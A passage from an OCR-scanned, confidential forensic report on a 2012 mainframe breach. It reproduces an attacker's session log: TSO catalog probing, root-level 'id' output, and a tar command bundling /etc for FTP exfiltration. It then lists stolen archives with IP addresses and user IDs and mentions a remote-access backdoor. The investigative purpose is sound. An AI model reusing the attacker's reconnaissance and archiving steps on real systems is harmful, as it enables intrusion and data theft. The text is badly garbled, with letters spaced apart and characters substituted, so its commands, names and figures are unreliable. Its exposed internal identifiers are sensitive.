I DC 3 0 1 6 I  CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I * *  VSAM CATALOG RE TURN CODE IS  4 - REASON CODE IS  I GG O CLAH - 1 2 0  
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I DC 1 5 6 6 I  * *  BSN0 0 5 8 . NOT L I S TE D  

I DC 0 0 1 4 I  LAS TCC=4 

RC ( 4 )  

# t s o  l i s t  c a c a t  ' l i s t c a t  c a t a l o g ( c a t a l o g . sema i n f ) '  

l i s t cat c a t a 1 o g ( ca t a 1 o g . s e ma i n f )  

I DC3 0 1 6 I  CATALOG I S  NOT AVAI LABLE+ 

I DC3 0 0 9 I * *  VSAM CATALOG RETURN CODE IS 4 - REA S ON CODE IS I GG O CLAH - 1 2 0  

I DC 1 5 6 6 I  * *  B S N0 0 5 8 . NOT L I S TE D  

I DC 0 0 1 4 I  LAS TCC=4 

RC ( 4 )  

# t s o  ' l i s t c a t  c a t a 1 og ( c  s ys s c a t a l og ) ' 

l i s t cat c a t a l o g ( c a ta l o g )  

I DC 3 0 1 6 I CATALOG I S  N O T  AVA I LABLE+ 

I DC3 0 0 9 I * *  VSAM CATALOG RETURN CODE IS 4 - REASON CODE IS I GG O CLAH - 1 2 0  

I DC 1 5 6 6 I  * *  BSN 0 0 5 8 . NOT L I S TE D  

I DC 0 0 1 4 I  LAS T C C = 4  

RC ( 4 )  

# t s o  1 i s  ' l i s t c a t  c at a 1 o  a l og ( d3 8 4  

l ib r a r y ( s y s 1 9 . p a rml ib ) ' 

l i s t ca t  l ib r a r y ( s y s 1 9 . p a rml i b )  

s ys 1 . 

I DC 3 2 4 2 I  ' L I B ' VALUE HAS I NVAL I D  LENGTH - S Y S 1 9 . PARML I B  

I DC 0 0 1 4 I  LAS TCC= 1 2  

R C  ( 1 2 )  

# t s o  ' 1 i s t c a t  h e 1 p ' 

l i s t cat help 

I K J5 6 7 1 2 I  INVAL I D  KEYWORD , HELP 

I DC 0 0 1 4 I  LAS TCC= 1 2  

R C  ( 1 2 )  

# t s o  ' l  h e l p 1  1 i s t c a t ' 

he lp 1 i s t c a t  

F u n c t i on -

The L I S T CAT command l i s t s  en t r i e s  f r om e i t h e r the mas te r  c a t a l o g  o r  

Strict ly confidenti a l  l Bus i ness Secret l 

Sidan 7 1  av 574 

Report 



a u s e r  c a t a l og . 

S yn t ax -

L I S TCAT CATALOG ( 1 catname / p a s s w o r d 1 )  

L IB RARY ( 1 l ib_name 1 )  

F I L E  ( 1 dname 1 )  

OUT F I LE ( 1 dname 1 )  

LEVE L ( 1 leve l 1 ) ENTR I E S ( 1 e n t r yn ame / p a s sword 1 • • •  ) 

L I BRARYENTRI E S ( 1 l ib r a ry_e n t r yn ame 1 )  

VOLUMEENTRI E S ( 1 vo l ume e n t ryname 1 )  

CREAT I ON ( 1 nnnn 1 )  

E X P I RAT I ON ( 1 nnnn 1 )  

NOTUSABLE 

CLUSTER DATA INDE X  ALIAS S PACE NONVSAM 

U S E RCATALOG GENERA T I ONDATAGROUP PAGE S PACE 

ALTERNATE INDEX PAT H 

ALL l NAME l H I S T ORY l VOLUME l ALLOCAT I ON 

Re qu i re d  - NONE 

De fau l t s  - NAME 

Abb r ev i a t i o n s  -

Note - I n  addi t i on t o  n o rmal T S O  s h o r t  f o rms , the s e  a r e  a c cepte d . 

L I S TCAT L I S T C  

OUT F I LE OF I LE 

LEVE L LVL 

NOTUSABLE NU S 

I NDEX IX 

S PACE S P C  

NONVSAM NVSAM 

USERCATALOG UCAT 
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Ope r ands -

GENERAT I ONDATAGROUP GDG 

PAGE S PACE PGSPC 

ALTERNATE INDEX A I X  

L I BRARYENTR I E S  L I BENTRI E S  

VOLUMEENTRI E S  VOLENT RI E S  

L I BENT 

VO LENT 

CATALOG ( 1 c a tname / p a s sword 1 )  

- Spe c i f i e s  the n ame o f  the c a t a l o g  cont a i n i ng the e n t r i e s  

t o  be l i s t e d . 

1 C a tname 1 

- Name o f  the c a t a l o g  c o n t a i n i n g  the e nt r i e s  t o  be 

l i s t e d . 

1 p a s sword 1 

- P a s sword o f  the c a t a l o g  c o n t a i n i n g  the e nt r i e s  t o  be 

l i s te d .  

Re qu i re d  - 1 Ca t n ame 1 

L I BRARY ( 1 l ib r a r y_n ame 1 )  

- Spe c i fi e s  the n ame o f  the l ib r a ry that i s  u s e d  a s  a f i l t e r  

t o  r e s t r i ct t h e  v o l ume e n t r i e s  to be l i s te d . 

1 l ibrary_n ame 1 

- Name o f  the l ib r a r y  t h a t  i s  u s e d  a s  a f i l t e r  t o  re s t r i ct 

the v o l ume entr i e s  to b e  l i s t e d . 

Re qu i red - 1 l i b r a r y_name 1 

F I LE ( 1 dname 1 )  

- I de nt i f i e s  the vo l ume s that c o n t a i n  the c a t a l o g  

e nt r i e s  t o  be l i s te d . 

1 dname 1 - Name o f  the DD s t a t ement that i de n t i f i e s  the v o l um e s  
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c o n t a i n i n g  c a t a l o g  e n t r i e s  to be l i s te d . 

OUT F I LE ( ' dname ' ) 

- I de n t i f i e s  the a l t e rn a t e  output data s e t . 

' dname ' - Name o f  the JCL s ta tement that ident i f i e s  the 

a l t e rnate output da t a  s e t . 

LEVE L ( ' l evel ' ) 

- Spe c i f i e s  the l ev e l  o f  e n t r y  name s t o  be l i s te d . 

' l evel ' - l evel o f  e n t r y  name s to be l i s t e d . 

ENTR I E S ( ' e n t ryname /p a s sword ' . . .  ) 

- The names o f  the i n divi du a l  e nt r i e s  to be l i s t e d . 

' e nt ryname ' 

- Name o f  the obj e c t  who s e  e n t r y  i s  t o  be l i s t e d . 

' p a s sword ' 

- P a s sword o f  p a s sword-pr o t e c t e d  c l u s t e r  o r  component o r  

obj e c t . 

RE QU I RE D  - ' en t r yn ame ' 

L I BRARYENTRI E S ( ' l ib r a r y_en t r yn ame ' )  

- The n ames o f  the individual l ib r a r y  e n t r y  t o  b e  l i s t e d . 

' l ibra ry_e n t r yname ' 

- N ame o f  the obj e c t  who s e  e n t r y  i s  to be l i s t e d . An 

a s t e r i s k  " * "  may be u s e d  as p a r t  o f  the l ib r a r y_en t r yn ame 

to cau s e  a gene r i c  s e ar ch to be p e r f o rme d .  

RE QU I RE D - ' l i b r a r y_en t r yn ame ' 

VOLUMEENTR I E S ( ' v o l ume_e n t r yn ame ' )  

- The n ame s o f  the individu a l  v o l ume e n t r y  t o  be l i s te d . 

' vo l ume_en t r yn ame ' 

- Name o f  the obj e c t  who s e  e n t r y  i s  to be l i s t e d  i n  the 
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f o rm 1 Vvo l s e r 1 whe r e  vo l s e r  i s  a 1 - 6 cha r a c t e r  v o l ume 

s e r i a l  name . An a s t e r i s k  " * "  ma y be u s e d  as part of the 

vol s e r  t o  c au s e  a gene r i c  s e a rch to be p e r f o rmed . 

RE QU I RE D  - 1 Vo l ume_e n t r yname 1 

CREAT I ON ( 1 nnnn 1 )  

- S e l e c t i on o f  ob j e c t s  l i s t e d  b y  c r e a t i o n  da te . 

1 nnnn 1 - Obj e c t s  l i s te d  i f  c r e a t e d  1 nnnn 1 days ago o r  e a r l i e r ,  

whe re 1 nnnn 1 i s  a de c imal numb e r  O - 9 9 9 9 . 

EX P I RAT I ON ( 1 nnnn 1 )  

- S e l e c t i on o f  ob j e c t s  l i s t e d  b y  exp i r a t i o n  da te . 

1 nnnn 1 Obj e c t s  l i s te d  i f  e xp i r i ng 1 nnnn 1 days hence o r  e a r l i e r ,  

whe re 1 nnnn 1 i s  a dec ima l numb e r  O - 9 9 9 9 .  

NOTU SABLE 

- The ent r i e s  for data and index component s that a r e  

m a r k e d  a s  unu s ab l e  are t o  b e  l i s t e d . 

CLUSTER - The c l u s t e r  e nt r i e s  are t o  be l i s t e d . 

DATA - The ent r i e s  f o r  dat a comp o n e n t s  a r e  to be l i s t e d . 

INDEX - The ent r i e s  f o r  i ndex c ompone n t s  a r e  t o  be l i s te d . 

AL IAS - The a l i a s  e n t r i e s  are t o  be l i s te d . 

S PACE - The e n t r i e s  for v o l ume s c o n t a i n i n g  VSAM data s p a c e s are to 

be l i s t e d . S PACE i s  mutu a l l y  e x c l u s ive wi th o t h e r  e n t ry 

t yp e s . VSAM c a t a l o g s  o n l y . 

NONVSAM - The ent r i e s  f o r  non -VSAM data s e t s  are t o  be l i s te d . 
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US ERCATALOG 

- The ent r i e s  for u s e r  c a t a l o g s  are to b e  l i s t e d . 

GENE RATI ONDATAGROU P 

- The e nt r i e s  f o r  gene r a t i o n  da ta groups a r e  to be l i s te d .  

PAGE S PACE 

- The e nt r i e s  for page s p a c e s  are to be l i s t e d . 

ALTERNAT E I NDEX 

- The a l t e rn a t e i n de x  e n t r i e s  are t o  be l i s te d . 

PATH - The path e n t r i e s  are t o  be l i s t ed . 

ALL - All the f i e l d s  a r e  t o  b e  l i s t e d  for e a ch c a t a l o g  e n t r y . 

NAME - The n ame and e n t r y  t ype o f  the c a t a l oged obj e c t s a r e  t o  

b e  l i s t e d . 

H I S TORY - The i n f o rma t i on provided by s p e c i fying n ame and own e r  

i de nt i f i c a t i o n ,  c r e a t i o n  da te , exp i r a t i o n  da te and c a t a l og 

r e c ov e r y  i n f o rmat i o n  f o r  the obj e c t s  i s  to be l i s t e d . 

VOLUME - The i n f o rma t i on provided by s p e c i fying H I S TORY and v o l ume 

s e r i a l  numb e r s  and devi ce t yp e s  a l l o ca t e d  t o  the obj e c t s  

i s  t o  b e  l i s t e d . 

ALLOCAT I ON 

- The i n f o rma t i on provided by s p e c i fying VOLUME and de t a i l ed 

i n f o rma t i on about the a l l o c a t i o n  a r e  t o  be l i s t e d . 

# t s o  l i s t ca t  * a l l  
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l i s t cat TextTo o l s  banner bpa cmx dce dfs ftp . data ftp . env h o s t s  i n e t d . c o n f  
i n e t d . pi d  i n i t . opt i o n s  i oepdcf l dap l o g  omp r ou t e . conf omproute . co n f . new 

omproute . c o n f . o l d  omproute . c on f . o r g  p r o f i l e  p r o f i l e . dl 2 0 3 0 2 p r o f i l e . o l d . 0 7 0 9 1 5  

p r o f i l e . s o e O B a  p r o t o c o l  r e  r c . o l d  re cove r roha s e cu r i t y  s e rvi ce s s s  h 

s y s l og . c on f  s y s l og . c o n f . o l d  s y s l og . p i d  u tmpx venv . c ommo n . pr o f i l e  ve nv . extra 
x l at e  zoneinfo a l l  

I K J5 6 7 1 2 I  INVAL I D  KEYWORD , TEXTTOOLS 

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , BANNER 

I K J5 6 7 1 2 I  INVAL I D  KEYWORD,  B PA 

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD,  CMX 

I K J5 6 7 1 2 I  INVAL I D  KEYWORD , DCE 

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD,  D F S  

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , f tp . da t a  

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , f tp . e nv 

I K J5 6 7 1 2 I  INVAL I D  KE YWORD , HOS T S  

I K J5 6 7 1 2 I  INVAL I D  KEYWORD , i n e t d . c o n f  

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , i n e t d . p i d  

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , i n i t . op t i on s  

I K J5 6 7 1 2 I  INVAL I D  KEYWORD , I OE PDCF 

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , L DAP 

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , LOG 

I K J5 6 7 1 2 I  INVALI D KEYWORD , omp r o ut e . c o n f  

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , omp r o u t e . co n f . new 

I K J5 6 7 1 2 I  INVAL I D  KEYWORD , omp r o u t e . co n f . o l d  

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD,  omp r o u t e . co n f . o rg 

I K J5 6 7 1 2 I  INVAL I D  KEYWORD , PRO F I LE 

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , p r o f i l e . d 1 2 0 3 0 2 

I K J5 6 7 1 2 I  INVAL I D  KE YWORD , p r o f i l e . o l d . 0 7 0 9 1 5  

I K J5 6 7 1 2 I  INVAL I D  KEYWORD , p r o f i l e . s oe 0 8 a  

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , PROTOCOL 

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , RC 

I K J5 6 7 1 2 I  INVAL I D  KEYWORD , r c . o l d  

I K J5 6 7 1 2 I  INVAL I D  KEYWORD , RE C OVER 

I K J5 6 7 1 2 I  INVAL I D  KEYWORD , ROHA 
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I K J5 6 7 1 2 I  I NVAL I D  KEYWOR D ,  S ECUR I T Y  

I K JS 6 7 1 2 I  I NVAL I D  KEYWOR D ,  S ERVI CE S 

I K JS 6 7 1 2 I  I NVAL I D  KE YWOR D ,  S SH 

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , s ys l o g . c o n f  

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , s y s l o g . conf . o l d  

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , s y s l o g . pi d  

I K J5 6 7 1 2 I  INVAL I D  KEYWOR D ,  UTMPX 

I K J5 6 7 1 2 I  INVAL I D  KEYWORD , venv . common . p r o f i l e  

I K JS 6 7 1 2 I  INVAL I D  KEYWORD , venv . ex t r a  

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD , X LATE 

I K J5 6 7 1 2 I  I NVAL I D  KEYWOR D ,  Z ONE I NFO 

I DC 0 0 1 4 I  LAS TCC= l 2  

R C  ( 1 2 )  

# t s o  l i s t ca t  a l l  

l i s t ca t  a l l  

I DC 3 0 1 2 I  ENTRY BSN 0 0 5 8 . NOT FOUND+ 

I DC 3 0 0 7 I  * *  VSAM CATALOG RE TURN CODE I S  8 

I DC 1 5 6 6 I * *  B S N0 0 5 8 . NOT L I S TE D  

I DC 0 0 1 4 I  LAS TCC=4 

RC ( 4 )  

# t s o  l i s t a  c a t  a l l  c a t a l o g ( 

1 f i l e ( s e ma i n f )  1 

l i s t c a t  a l l  f i l e ( s ema i n f )  

I DC 3 0 1 2 I  ENTRY BSN O O S 8 . NOT FOUND+ 

f i l e  ( 1 s ema 

I DC 3 0 0 7 I  * *  VSAM CATALOG RE TURN CODE I S  8 

I DC 1 5 6 6 I  * *  BSN 0 0 5 8 . NOT L I S TE D  

I DC 0 0 1 4 I  LAS TCC=4 

RC ( 4 )  

# t s o  l i s t ca t  1 c a t a l o g ( 1 c a t a l og . s ys l . ma s t e r . data 1 )  

F S UM7 3 3 2  s yn t a x  e r r o r : got ( ,  expe c t i n g  Newl i n e  

# 

# pwd 

/ S YS TEM/ e t c  

s ema 
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# t s o  " l i s t cat c a t a l o g ( c a t a l g  og . s ys l 9 . ma s t e r . dat a ) " 

l i s t ca t  c a t a l o g ( c a t a l o g . s y s l 9 . ma s t e r . dat a )  

I DC 3 0 1 6 I  CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I * *  VSAM CATALOG RETURN CODE IS 4 - REASON CODE I S  IGGO CLAH - 1 2 0  

I DC 1 5 6 6 I  * *  BSN 0 0 5 8 . NOT L I S TE D  

I DC 0 0 1 4 I  LAS TCC= 4 

RC ( 4 )  

# t s o  " l i s t cat v e l urnem " 

l i s t ca t  volume 

I DC 3 0 1 2 I  ENTRY B SN 0 0 5 8 . NOT FOUND+ 

I DC 3 0 0 7 I  * *  VSAM CATALOG RETURN CODE I S  8 

I DC 1 5 6 6 I * *  BSN 0 0 5 8 . NOT L I S TE D  

I DC 0 0 1 4 I  LAS TCC= 4 

RC ( 4 )  

# 

# l i s t  t s o  " 1 1  i s ta c a t  c a t a l o g ( I CFMAST 1 ) " 

l i s t ca t  c a t a l o g ( I C FMAS T 1 ) 

I DC 3 0 1 6 I CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I * *  VSAM CATALOG RETURN CODE IS 4 - REASON CODE I S  I GG O CLAH - 1 2 0  

I DC 1 5 6 6 I  * *  BSN0 0 5 8 .  NOT L I S T E D  

I DC 0 0 1 4 I  LAS TCC=4 

RC ( 4 )  

# t s o  1 1  " l i s t c a t  c a t a l og ( name s ( de f a ul t ) " 

l i s t ca t  name s ( de f au l t ) 

I K J5 6 7 1 2 I  I NVAL I D  KEYWORD,  ( de fa u l t )  

I DC 0 0 1 4 I  LAS TCC= 1 2  

R C  ( 1 2 )  

# t s o  l " l i s t ca t  name s "  

l l i s t c a t  name s 

FOMF 0 1 3 7 I  Command s yn t ax e rr o r  

# t s o  " l i s t cat n ame s ( de f a u l t ) "  

l i s t ca t  name s ( de fa u l t )  
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I K J5 6 7 1 2 I  INVAL I D  KEYWORD , ( de fa u l t )  

I DC 0 0 1 4 I  LAS TCC= 1 2  

R C  ( 1 2 )  

# t s o  l " l i s t c a t  a t a l o g ( c a t a o  l og ( a  mas t e r 1 2 ) "  

l i s t ca t  c a t a l o g ( ma s t e r 1 2 ) 

I DC 3 0 1 6 I  CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I * *  VSAM CATALOG RETURN CODE IS  4 - REASON CODE IS  I GG O CLAH - 1 2 0  

I DC 1 5 6 6 I  * *  B S N0 0 5 8 . NOT L I S TE D  

I DC 0 0 1 4 I  LAS TCC=4 

RC ( 4 )  

# t s o  l " l i s t c a t  c a t a l o g ( s ys 1 9 . ma s t e r 1 2 ) " 

l i s t ca t  c a t a l o g ( s y s 1 9 . ma s t e r 1 2 ) 

I DC 3 0 1 6 I CATALOG I S  NOT AVAI LABLE+ 

I DC 3 0 0 9 I  * *  VSAM CATALOG RETURN CODE IS  4 - REASON CODE IS  I G G O CLAH - 1 2 0  

I DC 1 5 6 6 I  * *  BSN0 0 5 8 . NOT L I S T E D  

I DC 0 0 1 4 I  LAS TCC=4 

RC ( 4 )  

# submit & 

[ 3 3 ]  5 0 3 3 4 8 3 2 

# F S UMB 4 0 9  s ubmi t : s tdin C o u l d  n o t  s ubmi t emp t y  j ob .  

# pwd 

/ S YS TEM/ e t c  

# cd / tmp 

# id 

uid=O ( SUPERUSR) gid=O ( STCGROUP) 
groups=5 4 8 4 0 0 (E4 8 4 )  

# t s o  " l i s t  c a t  c a t a l og ( e 4 8 4 . ) "  

l i s t c a t  c a t a l o g ( e 4 8 4 . )  

I K J5 6 7 0 9 I  INVAL I D  DATA S E T  NAME , e 4 8 4 . 

I K J5 6 7 0 1 I  MI S S ING ' CATALOG ' CATALOGNAME / PA S S WORD VALUE+ 

I K J5 6 7 0 1 I  MI S S ING CATALOGNAME TO BE SEARCHE D ,  PAS SWORD IS O P T I ONAL 
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I DC 0 0 1 4 I  LAS TCC= l 2  

RC ( l 2 )  

# pwd 

/ S YS TEM/ tmp 

# l s  

IMWE 

S Y SH I S 2 0 0 9 1 0 2 7 . 1 4 1 3 1 4 . CNT 

a 

a . env 

c i c s w s dl . t g z  

du ku 

du qu 

i n et d . debu g . s t de rr 

i n e t d . debu g . s t dout 

i n  f i l  

ku ku 

mn t 

newvar 

n o hup . ou t  

p r o f i l e . s o e 0 7 a  

r l og i n d . s t de r r  

r l o g i n d2 . s t de r r  

s l a s k  

s s h . output 

s s h . p i d  

s s h2 . output 

s y s l ogd 

u O 

uads 

w s 2 b i l a 4 . l og 

w s 2 b i l h l . l og 

ws 2 l s . l o g  

Strictly confidenti a l  l Bus i ness Secret l 

Sidan 81 av 574 

Report 



w s 2 l s 1 . l og 

w s 2 l s 2 . l og 

w s 2 l s r . l og 

w s 2 l s x . l og 

w s 2 n ava4 . l og 

w s 2 n avh1 . l og 

w s 2 s p a rh 1 . l o g  

w s 2 t ax a 4 . l og 

w s 2 t axh1 . l o g  

w s 2 t e l a 4 . l o g  

X X  

# cd l u s e r s  

l s 

# s s h  

wmovl a e  

wms t o t t  

# l s  - lR 

t o t a l  6 

drwx r - x r - x  2 S UPERUSR 0 3 8 4  

d r - x r - x r - x  3 S UPERUSR 03 8 4  

drwxrwxrwx 3 S UPERU S R  03 8 4  

. / s s h : 

t o t a l  O 

. / wmovl a e : 

t o t a l  O 

. / wms t o t t : 

t o t a l  6 7 2  

2 5 6  Mar 2 0 8 : 4 2 s sh 

2 8 8  Feb 2 8  1 3 : 4 0 wmovl ae 

5 1 2  Mar 5 1 5 : 2 3 wms t o t t  
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- rwxrwxrwx l WMS TOTT 03 8 4  

# l s  - lR wmovlae 

wmovl ae : 

t o t a l  O 

# cd /u 

l s 

# l s H I S 

d 3 4 5  

d 3 8 4  

d 5 5 2  

d 6 1 0  

d 6 6 6  

d 7 0 0  

d 8 3 8  

e 0 7 7  

e 2 0 3  

e 4 7 8  

e 4 8 4  

e 7 8 0  

e 7 8 4  

e 8 9 7 

e 9 7 4  

s c ript s 

s t at i c  

v 3 8 4  

webt e k  

# / et c /  

T e x t To o l s  

banner 

bp a 

cmx 

3 3 1 7 7 6  Mar 5 1 4 : 5 1 g z ip 
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dc e 

d f s  

f t p . da t a  

ftp . env 

h o s  t s 

i n e t d . c o n f  

i n e t d . p i d  

i n i t . opt i o n s  

i o epdc f 

l d ap 

l o g  

omp r o u t e . c on f 

omproute . c o n f . new 

omp r o u t e . c o n f . o l d  

omp r o u t e . c o n f . o r g  

p r o f i l e  

p r o f i l e . dl 2 0 3 0 2  

p r o f i l e . o l d . 0 7 0 9 1 5  

p r o f i l e . s o e 0 8 a  

p r o t o c o l  

r e  

r c . o l d  

r e cove r 

r o  ha 

s e cu r i t y  

s e rv i c e s  

s s h  

s y s l og . c o n f  

s y s l og . c o n f . o l d  

s y s l og . p i d  

u tmpx 

venv . c ommo n . p r o f i l e  
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venv . e xtra 

x l a t e  

z o n e i n fo 

# cd / tmp 

t a r  # c 

u #  ma s k  

0 0 2 7  

# uma s k  - O 

t a r #  cv f z  a .  p t t  . t g z  / e t c /  

Figure 1 9  log extra e t  from the session logs from o n  e of the perpetraters computer. 

Showing the usage of the "tso" and "tar commands 
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l t  i s  i nte resti ng to perform a comparison of the two fi les - the com mand  h i story l i st on  the 

SY19 server and  campa red to the sess ion l og (toa nd reas . l og, as  stated ear l i e rL obta i ned  from 

the i nvestigati ng po l i ce that have gotten it from the campute r of one of the ca ptu red 

perpetrators . E l im i nat i ng a l l  the output, a nd  m isspe l l ed com m a nds, these two fi les show two 

s ides of the sa me even t .  

• The user i s  l ogged i n  as BSN0058. Th i s  i s  evident from the e rror codes given when 

perform i ng the "tso l i stcat" com mand .  Th i s  i s  shown i n  the "sess ion  l og" from the 

perpetrators computer. 
• H e creates a ta r a rch ive (apt.tgz) of fi les i n  the /etc cata l og to l ater down load v ia  FTP 

Log analysis 

A n u m ber  of d i ffe rent  l ogs have been co l lected a nd  a n a lysis, i nc l u d i ng :  

• I B M  ma i nfra me l ogs : Ana lys i s  of S M F  record type 30 fi les 
• I B M  ma i nfra me logs : Ana lys i s  of S M F  record type 118/119 TCP/ I P ( FTP a nd  AP I I ogs) 
• I B M  ma i nfra me l ogs : Ana lys i s  of S M F  record type XX (AP I  ca I l  l ogs) fi l es 

• I B M  ma i nfra me l ogs :  Ana lys i s  of USS sys l og fi les 

• I B M  ma i nfra me logs : Ana lys i s  of MVS SYSLOG fi les 

• Windows l ogs : Ana lys is  of I I S web access log fi les 
• Windows l ogs :  Ana lys i s  of fi rewa l l l og fi les 

Same of the log fi les re l ated to SY19 have been lost, due to how the log fi les were created and  

ma i nta ined on t he  ma i nfra me .  The logs where stored i n  t he  /tm p a rea .  
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N B :  l t  shou ld  be noted that we have on ly exa m i  ned system data, not app l i cat ion  or user data 

sets . User data have been exa m i ned e lsewhere by the i nformat ion owners as  we i l  as the 

i nvestigati ng po l i ce .  

F rom SY19 a l a rge n u m ber  of fi les a re down loaded v ia  FTP .  A s im i l a ri l y  la rge n u  m ber a re 

attem pted to down load .  Seve ra l of the down loaded or attem pted down loaded fi les a re 

down loaded to dofferent p l aces and  by d ifferent users .  Some a rch ive fi les a re down loaded as  

we i l .  Apt.tgz i s  one  fi le .  l . tgz i s  another .  451 fi les a re I isted i n  l .tgz .  For i nformat ion on 1 . tgz, 

see "Append ix  K: Content of a rch ive fi l e  l . tgz" page 222 .  

F rom SYS3 a l a rge n u  m ber of fi les a re down loaded v ia FTP . A s im i l a ri ly l a rge n u m ber  are 

attem pted to down load .  Severa l of the down loaded or  attem pted down loaded fi les a re 

down loaded to dofferent p l aces and  by d iffe rent users . .  Some a rch ive fi les a re down loaded as  

we i l , each  conta i n i ng a l a rge n u m ber  of fi l es, .e .g  

• 414 fi l es i n  c ics . it .tgz 

• 2395 fi les i n  l oca l .tgz 

• 1070 fi les i n  u . i t .tgz 

For i nformation on these a rch ive fi l es, see "Append ix  P :  Content of a rch ive fi l e  "u . tgz" from 

SYS3" page 419, "Append ix N :  Content of a rch ive fi l e  c ics . it . tgz from SYS3" page 264, 

"Append ix  0: Content of a rch ive fi l e  l oca l . tgz from SYS3" page 285. 

USS files 

Ta r fi les a re an a rch ive with severa l fi les  saved i nto on  e new fi l e .  As seen in the exa m ples from 

the transfe r l ogs, severa l ta r a rch ives where tra nsfe rred from the ma i nfra mes to the 

perpetrators . Ta r fi les have on ly been down loaded from SY19 and SYS3.  No ta r fi les  have been 

u p loaded .  

F i le  name User  Ta rget Date Syste Com ment 
m 

/tm p/a pt.tgz BSN0058 178. 18 .243 .27 2012-03-05- SY19 
17 .09 . 19 

2012-03-05-
19 .28 .03 .  

The fi l e  
a pt .tgz i s  
be l i eved to  be  
/etc with 
associated 
fi les .  Th i s  is 
evident  from 
the 
. sh_h istory 
fi l e that user 
i d  O creates 
on  SY19 a nd  
where he  r u n  
t he  ta r 
com mand  to 
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/tmp/a pt.tgz SPRB I08 46.S9 .Sl . 181 2012-03-08-
13 .4S .24 

/tm p/ci cswsd l .tgz SPRB I08 46.S9 . Sl . 181  2012-03-08-
13 .4S .2S .  

/SYSTEM/tm p/a pt. ASI0936 46.S9 . Sl . 181  2012-03-08-
tgz 14.33 .03 
/SYSTEM/tm p/cics ASI0936 46.S9 .S1 . 181 2012-03-08-
wsd l . tgz 14.33 
/tmp/ .u .tgz AVIY3S6 203 . 176. 141 .20 2012-03- 10-

s 03 . 23 . 1 1  
/tm p/ci cswsd l .tgz AVIY3S6 203 . 176. 141 . 20 2012-03- 10-

s 03.29 .26 
/tm p/u .tgz AVIY3S4 203 . 176 . 141 .20 2012-03- 10-

s 12 . 14. 18 
/tm p/u .tgz AVIY3S4 203 . 176. 141 . 20 2012-03- 10-

s 12 . 1S . 18. 
/tm p/stash . tgz AVIY3S4 203 . 176. 141 .20 2012-03-10-

s 12 . 1S .21  
/u/d610/rfvftp/l .t  WAHS006 Recorded in FTP 2012-03-1S-
g z l og as  22 .21 . 31  

217 . 1S0. 174.80. 
I n  

/SYSTEM/tm p/cts3 N U S  194. 23 .61 . 1S1  2012-03- 10-
2 . tgz 22 .03 .32  
/tm p/.,/u . it .tgz N US 93. 186. 170.S4 2012-03-20-

09 .28 .37 
/tm p/.,/c ics . i t .  tgz N US 93. 186. 170.S4 2012-03-20-

09 .29 .23 .  
/tm p/.,/ loca l . tgz N US 93 . 186. 170.S4 2012-03-20-

09 .S6 .SO. 

. .  
Ta ble ZL1st1ng of downloaded TAR arch1ve f1les 

Stolen MVS data sets 

SY19 

SY19 

SY19 

SY19 

SY19 

SY19 

SY19 

SY19 

SY19 

SY19 

SYS3 

SYS3 

SYS3 

SYS3 
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create a pt .tgz 

/usr/l oca l 
with sub  
d i rector ies of 
SYS3 

The sto len  data have bee n ana lysed by d i fferent pa rt ies i nvolved, depend i ng on the 

i nformat ion ownersh i p .  The fi les be long ing to a specif ic o rga n i zation  have been a n a lyzed by 

that o rga n izati on .  The orga n i sat ions i nc l ude :  

• Log ica 

• App l i cate 

• skatteverket 
• And the i nvest igat i ng  po l i ce 

Each of these orga n i sations  a re the m se lves respons i b le for the a n a lys i s  a s  we i l  as  the report i ng  

of  the  va l ue  of  the i nformat ion be i ng sto l en .  
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A n u m ber  of fi l es where uploaded to both SY19 a nd  SYS3 .  Most of the up loaded fi les  were 

b i n a ry fi l es, but som e fi les with sou rce code that was u p loaded as  we i l .  

JCL programs 

Deve lop i ng a nd  execution  of p rogra ms written in the JC L  scri pti ng l a nguage i s  pa rt of the da i ly 

operat ion of the ma i nfra me .  JCL progra ms ca n be sta rted when hav i ng i nte ractive term i na l  

p resence on t he  ma i nfra me .  JCL  p rogra ms  ca n a l so be sta rted as  p re-schedu led  batch jobs .  

And JCL  progra ms ca n be sta rted by subm itti ng the "job  card" as  a job,  for exa mp l e  by 

subm itti ng it v ia the FTP fi l e  tra nsfer mechan ism .  

The  perpetraters have used  JCL  to  deve lop  ma  ny d iffe rent too l s  for he l  p i  ng out w i th  the  

attack. 

The perpetraters have up loaded JCL code such as  "NOP .JCL" .  Th i s  event i s  descr i bed e l sewhere 

i n  th i s  docu ment. U nfortunately we do  not have knowledge of the content of "NOP .J CL" .  l t  

m ight conta i n  the sa me content as  a pt itu p .jc l ,  but we don't know for su re .  

Aptitup.jcl aka AVIY3 56 

The fi l e  "a ptitu p .jc l"  where obta i ned from the i nvestigati ng po l i ce .  l t  shou ld  be noted that it 

ru ns the p rogra m "a .env", which we know i s  the remote access backdoor, and it runs a s  the 

user AVIY356, which we know i s  a user on  Log icas  SY19 system .  Th us, there i s  a connection  

between th i s fi l e on  the perpetraters com p uter a nd  the  i nc ident as  i nvestigated on  SY19. 

l t  s hou l d  be noted that the pe rpetrators most defi n ite ly had i ntent, a nd  most proba b ly  a l so 

m a nage, to ru n severa l  of the too l s  up l oaded and i n sta l l ed on  the system .  The fo l l owi ng JCL 

scr i pt where found  on  the perpetraters computer. l t  most defi n ite ly  i s  re l ated to the scri pt 

fou n d  to have been i n sta l led on SY19 (as evident  of the username  AVIY356 in the sou rce fi l e  

